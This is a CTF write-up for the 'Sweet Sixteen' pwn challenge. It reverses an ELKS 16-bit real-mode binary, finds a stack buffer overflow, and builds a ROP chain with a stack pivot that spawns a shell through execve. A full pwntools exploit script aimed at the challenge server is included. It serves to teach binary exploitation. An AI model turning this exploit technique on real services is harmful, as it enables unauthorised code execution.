

Sweet Sixteen

by [c0mm4nd_](#) / [MadrHacks](#)

Tags: [elks](#) [pivot](#) [x86](#) [rop](#) [pivoting](#) [pwn](#)

Rating: 5.0

Sweet Sixteen (pwn, 2 solves)

I'd do anything
For my sweet sixteen
I'd do anything
For that runaway child
(Billy Idol, Sweet Sixteen, 1986)
This challenge is a small love letter to binary exploitation. Enjoy it!
The service is online at sweet16.challs.srdnlen.it:1616

The challenge gave us a file called `sweet16`, which, when run through the `file` command, reported as `Linux-8086 executable, A_EXEC, not stripped`

I've never had seen this type of executable before but a quick Google search for `Linux 8086` returned the following [Wikipedia page](#) and a related [GitHub repository](#)

ELKS

So what's this? Well, as the README says, it's a kernel made for really ancient CPUs such as the 8086 lacking "modern" features such as protected mode or virtual memory.

Figuring out the executable file

I was quickly able to find some info about the executable format [here](#) but it did not match the file format I had. So I went to the implementation of `sys_execve` to figure out how the kernel actually parses the executables.

Here we can see that the header is read in the local variable `mh`:

```
...
ASYNCIO_REENTRANT struct minix_exec_hdr mh;          /* 32 bytes */

...
currentp->t_regs.ds = kernel_ds;
retval = filp->f_op->read(inode, filp, (char *) &mh, sizeof(mh));

/* Sanity check it. */
if (retval != (int)sizeof(mh) ||
...

```

The `minix_exec_hdr` struct is defined in `elks/include/linuxmt/minix.h` as following:

```
struct minix_exec_hdr {
    unsigned long    type;
    unsigned char    hlen;        // 0x04

```

```

unsigned char   reserved1;
unsigned short  version;
unsigned long   tseg;        // 0x08
unsigned long   dseg;        // 0x0c
unsigned long   bseg;        // 0x10
unsigned long   entry;
unsigned short  chmem;
unsigned short  minstack;
unsigned long   syms;
};

```

By applying this to the file we get the following;

Name	Color	Start	End	Size	Type	Value
hdr		0x00000000	0x0000001f	0x0020	struct minix_exec_hdr	{ ... }
type		0x00000000	0x00000003	0x0004	u32	70255361 (0x04300301)
hlen		0x00000004	0x00000004	0x0001	u8	32 (0x20)
reserved1		0x00000005	0x00000005	0x0001	u8	0 (0x00)
version		0x00000006	0x00000007	0x0002	u16	1 (0x0001)
tseg		0x00000008	0x0000000b	0x0004	u32	1872 (0x00000750)
dseg		0x0000000c	0x0000000f	0x0004	u32	96 (0x00000060)
bseg		0x00000010	0x00000013	0x0004	u32	3088 (0x00000c10)
entry		0x00000014	0x00000017	0x0004	u32	0 (0x00000000)
chmem		0x00000018	0x00000019	0x0002	u16	0 (0x0000)
minstack		0x0000001a	0x0000001b	0x0002	u16	0 (0x0000)
syms		0x0000001c	0x0000001f	0x0004	u32	1 (0x00000001)

And with this in mind we can load the file in Ghidra as x86 16-bit real mode and set up a memory map:

...	Start	End	Length	R	X	...	Volatile	Overlay	Type	Initialized	Byte Source
hdr	0000:0000	0000:001f	0x20	<input checked="" type="checkbox"/>	<input type="checkbox"/>	<input checked="" type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>	Default	<input checked="" type="checkbox"/>	File: sweet16: 0x0
.text	1000:0000	1000:074f	0x750	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>	Default	<input checked="" type="checkbox"/>	File: sweet16: 0x20
.data	2000:0000	2000:005f	0x60	<input checked="" type="checkbox"/>	<input type="checkbox"/>	<input checked="" type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>	Default	<input checked="" type="checkbox"/>	File: sweet16: 0x770
.bss	2000:0060	2000:0c6f	0xc10	<input checked="" type="checkbox"/>	<input type="checkbox"/>	<input checked="" type="checkbox"/>	<input type="checkbox"/>	<input type="checkbox"/>	Default	<input checked="" type="checkbox"/>	

(forget about the segments 0x0000, 0x1000 and 0x2000, they don't really matter as long as they're different from each other)

Of course while reversing the code we have to keep in mind that this is x86 real mode, so addresses are computed as `segment << 4 + offset` (for example if `cs = 0x160` and `ip = 0x21`, the resulting linear address would be `0x1621`), so if we see really low addresses that's probably why. You can read more at [Segmentation @ OSDev.org](#)

Syscalls

Looking a bit at the code, the first thing I looked out for were system calls. Going through the XREFs I realized this was probably the piece of code that called them:

<code>_syscall0</code>			XREF[3]:	<code>_syscall12:1000:009c(c)</code>
				<code>_syscall13:1000:00aa(c)</code>
				<code>_syscall1:1000:00c1(c)</code>
<code>1000:00ad cd 80</code>	INT	<code>0x80</code>		
<code>_syscallTest</code>				
<code>1000:00af 85 c0</code>	TEST	<code>AX,AX</code>		
<code>1000:00b1 79 08</code>	JNS	<code>_syscall0k</code>		
<code>1000:00b3 f7 d8</code>	NEG	<code>AX</code>		
<code>1000:00b5 a3 60 00</code>	MOV	<code>[0x60],AX</code>		
<code>1000:00b8 b8 ff ff</code>	MOV	<code>AX,0xffff</code>		
<code>_syscall0k</code>			XREF[1]:	<code>1000:00b1(j)</code>
<code>1000:00bb c3</code>	RET			

Which actually matches the following snippet (`libc/system/syscall0.inc`) from the `libc` inside the `ELKS` repo

```

#ifndef __IA16_CALLCVT_REGPARMCALL
#ifdef L_sys01
.global _syscall_0
_syscall_0:
    int     $0x80

.global _syscall_test
_syscall_test:

```

```

test    %ax,%ax
jns     _syscall_ok
neg     %ax
mov     %ax,errno
mov     $-1,%ax

```

```

_syscall_ok:
    RET_(0)
#endif
#endif

```

And this made me realize that this binary is statically linked.

To get the syscall numbers we can look at (`elks/arch/i86/kernel/syscall.dat`), specifically we see that `read = 3`, `write = 4` and `execve = 11`. Assuming these work like normal Linux, we also know their parameters. By looking at `_syscall_1`, `_syscall_2`, ... from `libc` we can also figure out the calling convention which is

register parameter

```

ax syscall number
bx arg1
cx arg2
dx arg3
di arg4
si arg5

```

Thus, if everything really works like normal Linux, to pwn this binary we should call `execve('/bin/sh', NULL, NULL)`, which would require the following setup: `ax = 0xb, bx = (ptr to /bin/sh), cx = 0, dx = 0`

The vulnerability

Knowing this we can name some functions and look at the main at `0x25`

```

int __cdecl16near main(void)
{
    char buffer [40];

    setvbuf(0x30,0,2,0);
    setvbuf(0x18,0,2,0);
    puts(4);
    read(0,buffer,0x38);
    return 0;
}

```

As I mentioned earlier, the `puts` calls contain a really small address, but we have to think about it in the context of the `.data` segment, so that address is actually `ds:0x4`, and looking at the 4th byte of that segment we can find the string `Pwn me:` which is what gets printed.

Looking at the `read` call we can see the vulnerability: a 0x38 (56) bytes read on a 0x28 (40) bytes buffer, which leads to a 16-byte stack buffer overflow.

Actually running the binary

Well we've seen a lot about ELKS and the binary, but we still haven't ran it. The first thing I tried was to run the whole ELKS system through the compiled images in QEMU and this helped me figure out some things about the system. One interesting thing was enabling the `strace` kernel option by modifying the `/bootopts` file. This would print all the syscalls made by the system, including their parameters

```
[f: execve("./sweet16", 0x2C64, 121)][f:execve/ret=0,ks=220/310]
[f: ioctl(1, 21505, 11328)][f:ioctl/ret=0,ks=106/310]
[f: write(1, 0x26, 1)]P[e: wait4(-1, 824616, 0)][f:write/ret=1,ks=106/310]
[f: write(1, 0x26, 1)]w[f:write/ret=1,ks=106/310]
[f: write(1, 0x26, 1)]n[f:write/ret=1,ks=106/310]
[f: write(1, 0x26, 1)] [f:write/ret=1,ks=106/310]
[f: write(1, 0x26, 1)]m[f:write/ret=1,ks=106/310]
[f: write(1, 0x26, 1)]e[f:write/ret=1,ks=106/310]
[f: write(1, 0x26, 1)]:[f:write/ret=1,ks=106/310]
[f: write(1, 0x26, 1)]
[f:write/ret=1,ks=106/310]
[f: read(0, 0x2C42, 56)]TEST
[f:read/ret=5,ks=106/310]
[f: exit(0)][e:wait4/ret=15,ks=106/310]
```

Well this was really interesting, but then I realized that the remote probably didn't use QEMU (it was lacking all of the usual QEMU startup info). That lead me to the the `elkseму` folder inside the repo, which provided a way to run the binary on my PC without using QEMU (and would probably be easier to host for the organizers than a full-on QEMU). This was "confirmed" (well the author told me I was on the right path when I asked whether it was run on QEMU or something else :P) by a ticket on the CTF Discord.

ELKSEMU

Well, without going too deep, this is a simple "emulator" for ELKS binaries. It doesn't actually "emulate" them since it just creates 16-bit entries and maps the syscall to linux syscalls. If you're interested I suggest reading `elkseму/elks.c` and [LDT @ OSDev.org](#)

By compiling it with debug options (`-DDEBUG -g -O0`) we can:

- debug the binary by debugging the emulator (and have the source code available since it's compiled with -g)
- have access to a kind-of strace saved in `/tmp/ELKS_log`, allowing us to see syscalls and their parameters

Debugging?

Well as I mentioned we can debug the binary by debugging the emulator. For example if we attach during the emulated `read`, we can look at the `$rsi` register to figure out where our ELKS stack is stored. With the help of the source code, we know that both the stack and the binary are stored in a 0x30000 RWX region allocated randomly in the lower 32 bits of the memory space. By doing what I described and cross-referencing it with `/tmp/ELKS_log` I was able to conclude that the `read` buffer is stored at `ss:0x2c3c` and the `.text` starts at `cs:0x0000`

Exploitation

Knowing this, we can write our exploit. I chose to use Return Oriented Programming even though the memory was mapped as RWX since:

- the LDT descriptors are set properly as read-execute (for cs) and read-write (for ds/ss) so I wasn't really sure the rwx mapping would still hold
- even then, in the 0x30000 mapping the stack and the code addresses are separated by at least 0x20000 bytes, making it impossible to return to stack shellcode without changing the descriptors
- even if they were closer, the LDT entries have their limit field set properly

I came up with an 18-bytes chain, 2 bytes too much for our overflow so I had to stack pivot. The payload is as follows

```
Payload start -> 0x2c3c: b"/bin/sh\x00"
Pivot target  -> 0x2c44: 0x0          // bp = 0
                0x2c46: 0x0          // di = 0
                0x2c48: 0x0          // si = 0
Second stage  -> 0x2c4a: 0x9f        // mov bx, sp; mov dx, [bx + 6]; mov cx, [bx + 4];
(setup params)                // mov bx, [bx + 2]; int 0x80;
                0x2c4c: 0x0          // pad
                0x2c4e: 0x2c3c        // bx = addr of /bin/sh\x00
                0x2c50: 0x0          // cx = 0
                0x2c52: 0x0          // dx = 0
                0x2c54: 0x0          // pad
                0x2c56: 0x0          // pad
                0x2c58: 0x0          // pad
                0x2c5a: 0x0          // pad
```

```

0x2c5c: 0x0      // pad
0x2c5e: 0x0      // pad
0x2c60: 0x0      // pad
0x2c62: 0x0      // pad
0x2c64: 0x2c44   // saved bp (our pivot target)
First stage -> 0x2c66: 0x4b6   // pop di, si; ret
(setup ax & 0x2c68: 0xb      // di = sys_execve (11)
pivot)       0x2c6a: 0x0      // si = 0
0x2c6c: 0x2a9   // xchg ax, di; mov sp, bp; pop bp, di, si; ret;

```

This is the python script I used to run the exploit:

```

#!/usr/bin/env python3
from pwn import *

context.arch = "i386"
context.bits = 16

def conn():
    if args.LOCAL:
        r = process(["./elks/elmseu/elmseu", "sweet16"])
    else:
        r = remote("sweet16.challs.srdnlen.it", 1616)

    return r

def main():
    global r
    r = conn()

    """
    1000:02a9 97          XCHG      AX,DI
    1000:02aa 89 ec          MOV       SP,BP
    1000:02ac 5d          POP       BP
    1000:02ad 5f          POP       DI
    1000:02ae 5e          POP       SI
    1000:02af c3          RET

    """

    """
    1000:009f 89 e3          MOV       BX,SP
    1000:00a1 8b 57 06      MOV       DX,word ptr [BX + param_3]
    1000:00a4 8b 4f 04      MOV       CX,word ptr [BX + param_2]
    1000:00a7 8b 5f 02      MOV       BX,word ptr [BX + param_1]
    1000:00aa e9 00 00      JMP       _syscall0 -> (INT 0x80, ...)

    """

    #2c3c = stack from read

    rop = b""
    rop += p16(0x4b6) # pop di, si; ret
    rop += p16(0xb) # sys_execve
    rop += p16(0x0) # pad
    rop += p16(0x2a9) # xchg ax, di; mov sp, bp; pop bp, di, si; ret;

    rop2 = b""
    rop2 += p16(0) # bp
    rop2 += p16(0) # di
    rop2 += p16(0) # si
    rop2 += p16(0x9f) # mov bx, sp; mov dx, [bx + 6]; mov cx, [bx + 4];
                    # mov bx, [bx + 2]; int 0x80;
    rop2 += p16(0) # pad

```

```
rop2 += p16(0x2c3c) # bx to /bin/sh\x00
rop2 += p16(0) # cx
rop2 += p16(0) # dx

assert len(rop) <= 16 - 2
assert len(rop2) <= 40 - 8

payload = flat({
    0: b"/bin/sh\x00",
    8: rop2,
    40: 0x2c3c + 8, # setup bp for pivot
    42: rop
})

assert len(payload) <= 56

r.send(payload)
r.interactive()

if __name__ == "__main__":
    main()
```

[Original writeup](https://www.madrhacks.org/writeups/srdnlen-2023/) (<https://www.madrhacks.org/writeups/srdnlen-2023/>).

Comments